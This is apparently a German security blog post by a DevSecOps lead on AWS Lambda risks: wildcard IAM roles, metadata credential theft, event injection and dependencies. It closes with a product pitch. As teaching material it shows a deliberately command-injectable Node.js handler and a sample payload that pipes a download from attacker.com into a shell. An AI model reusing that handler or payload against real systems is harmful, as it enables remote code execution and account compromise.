Start/Blog/Schwachstellenforschung
SchwachstellenforschungVeröffentlicht · Aktualisiert ⚡ 15 Min. Lesezeit

Die hässliche Wahrheit über deine ‚sichere‘ Serverless-Architektur.

Hör auf, überall Wildcard-Berechtigungen draufzuklatschen. Ein ungeschönter, tiefer Einblick in AWS-Lambda-Sicherheit, Rechteausweitung über IAM und Fußangeln bei Event Injection.

VG
Vladyslav Gusarov
DevSecOps Lead bei Bryxe
AWS-Serverless-Sicherheit: Warum deine Lambdas gehackt werden [2026]

Hör zu, Serverless sollte uns retten. Keine Server zum Patchen, keine Zero-Days auf OS-Ebene, über die man schwitzen muss. Einfach Code schreiben, deployen und AWS den Rest machen lassen. Bullshit. Du hast nur OS-Patching gegen IAM-Whack-a-Mole und Albträume mit Event Injection eingetauscht.

Wenn du glaubst, deine AWS-Lambda-Funktionen seien von Natur aus sicher, weil sie in kurzlebigen Sandboxes laufen, liegst du völlig falsch. Angreifer holen sich keine Shells mehr auf deinen darunterliegenden EC2s. Sie missbrauchen deine wackligen IAM-Policies, schleusen bösartige Payloads über API Gateway ein und nutzen verwundbare Node.js-Abhängigkeiten aus, die du seit 2024 nicht aktualisiert hast.

Fazit: Deine Serverless-Architektur ist wahrscheinlich eine riesige Angriffsfläche, die sich als Bequemlichkeit tarnt.

Die Fußangel Rechteausweitung über IAM

Fangen wir mit dem größten Witz der Branche an: IAM-Sicherheit. Die meisten Devs verstehen IAM nicht, also sind sie genervt, wenn der Mist nicht funktioniert, klatschen eine Wildcard auf die Rolle und machen Feierabend.

Ich bin es leid, das in PRs zu sehen. Diesen Terraform-Müll sehe ich jede Woche in Produktionsumgebungen:

hclQuellcode
resource "aws_iam_role_policy" "lambda_policy" {
  name = "lambda_execution_policy"
  role = aws_iam_role.lambda_role.id

  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Action = [
          "s3:*",
          "dynamodb:*"
        ]
        Effect   = "Allow"
        Resource = "*"
      },
    ]
  })
}

Du glaubst, du lässt die Lambda nur eine Config-Datei aus S3 lesen. Tatsächlich hast du jedem, der diese Funktion kompromittiert, die Schlüssel gegeben, um jeden S3-Bucket und jede DynamoDB-Tabelle in deinem Account plattzumachen.

Rechteausweitung in Serverless passiert meist, wenn eine Funktion mit zu großzügigen IAM-Rollen kompromittiert wird. Wenn ein Angreifer beliebigen Code in deiner Lambda ausführen kann (etwa über eine ungepatchte RCE in einer Abhängigkeit), kann er den lokalen AWS-Metadatendienst (169.254.169.254) ansprechen, die temporären STS-Zugangsdaten dieser IAM-Rolle stehlen und exfiltrieren. Jetzt hat er CLI-Zugriff auf deinen Account mit allen Rechten, die diese Rolle hatte.

Bring deinen Mist in Ordnung. Nutze Least Privilege. Ziele auf konkrete ARNs.

hclQuellcode
        Action = [
          "s3:GetObject"
        ]
        Effect   = "Allow"
        Resource = "arn:aws:s3:::my-specific-prod-bucket/configs/*"

Event Injection: Die neue SQLi

Ehrlich gesagt ist das ein Albtraum. Schwachstellen in Serverless-API-Gateways sind der neue Albtraum der Web-App-Security. Deine Lambda nimmt nicht nur HTTP-Requests entgegen. Sie nimmt komplexe JSON-Event-Objekte von API Gateway, SQS, SNS oder EventBridge entgegen.

Devs parsen event.body oder event.queryStringParameters einfach blind, ohne Bereinigung.

javascriptQuellcode
exports.handler = async (event) => {
    // Oh cool, let's just dump user input into a shell command
    const { targetHost } = JSON.parse(event.body);
    const result = require('child_process').execSync(`ping -c 4 ${targetHost}`);
    
    return {
        statusCode: 200,
        body: result.toString(),
    };
};

Schick {"targetHost": "8.8.8.8; curl http://attacker.com/malware | sh"} über dein API Gateway, und Glückwunsch: Deine Lambda ist für die nächsten 15 Minuten ein Botnetz-Knoten.

Bei Event Injection geht es nicht nur um OS-Befehle. Es geht darum, den Datenstrom zu verunreinigen. Wenn deine Lambda S3-ObjectCreated-Events verarbeitet und du den Dateinamen unsicher in einer Datenbank-Query verwendest, hast du eine Second-Order SQL Injection. Validiere das Schema jedes eingehenden Events. Behandle AWS-Services als nicht vertrauenswürdige Eingabegrenzen.

Drittanbieter-Abhängigkeiten: Die lautlosen Killer

Ich bin es leid, das in PRs zu sehen. Du schreibst 100 Zeilen eigene Logik, ziehst dir aber 50MB node_modules rein. Wenn auch nur eine dieser Libraries eine Schwachstelle hat, ist deine Lambda kompromittiert.

In einer klassischen VM erlangt ein Angreifer vielleicht RCE, sitzt aber in einem Nutzer mit wenigen Rechten fest. In Lambda bekommt er alles, was diese Execution Role darf. Und weil Funktionen kurzlebig sind, ist forensische Analyse ein Albtraum. Der Container stirbt, die Beweise verschwinden.

Du musst Abhängigkeiten zur Build-Zeit scannen und das Deployment blockieren, wenn CVEs gefunden werden. Standardpraxis in DevSecOps auf AWS.

Die echten Kosten

Hier ist die ROI-Rechnung, die du deinem CTO zeigen musst, wenn er sich weigert, Security-Arbeit zu priorisieren. Eine kompromittierte Lambda-Funktion, die personenbezogene Kundendaten aus S3 leakt, kostet dich Millionen an Bußgeldern, verlorenem Vertrauen und Incident Response. Eine ordentliche IAM-Policy heute zu schreiben kostet dich exakt $0.

Ehrlich gesagt ist das ein Albtraum. Hör auf, verwundbaren Müll zu deployen. Riegle dein IAM ab. Bereinige deine Event-Payloads. Weg mit den Wildcards.

AUTOMATISIERTE ABWEHR

Warte nicht auf einen Exploit, um deine Codebase zu prüfen

Prüfe unterstützte Code-Risiken, offengelegte Secrets und Findings zu Abhängigkeiten mit Bryxe Shield. Verifiziere die Fixes in deiner Anwendung vor dem Release.

Du brauchst einen praktischen nächsten Schritt? Sieh dir die Security-Guides aus der Praxis an oder lies unsere Redaktions- und Quellenrichtlinien.

Empfohlene Security-Research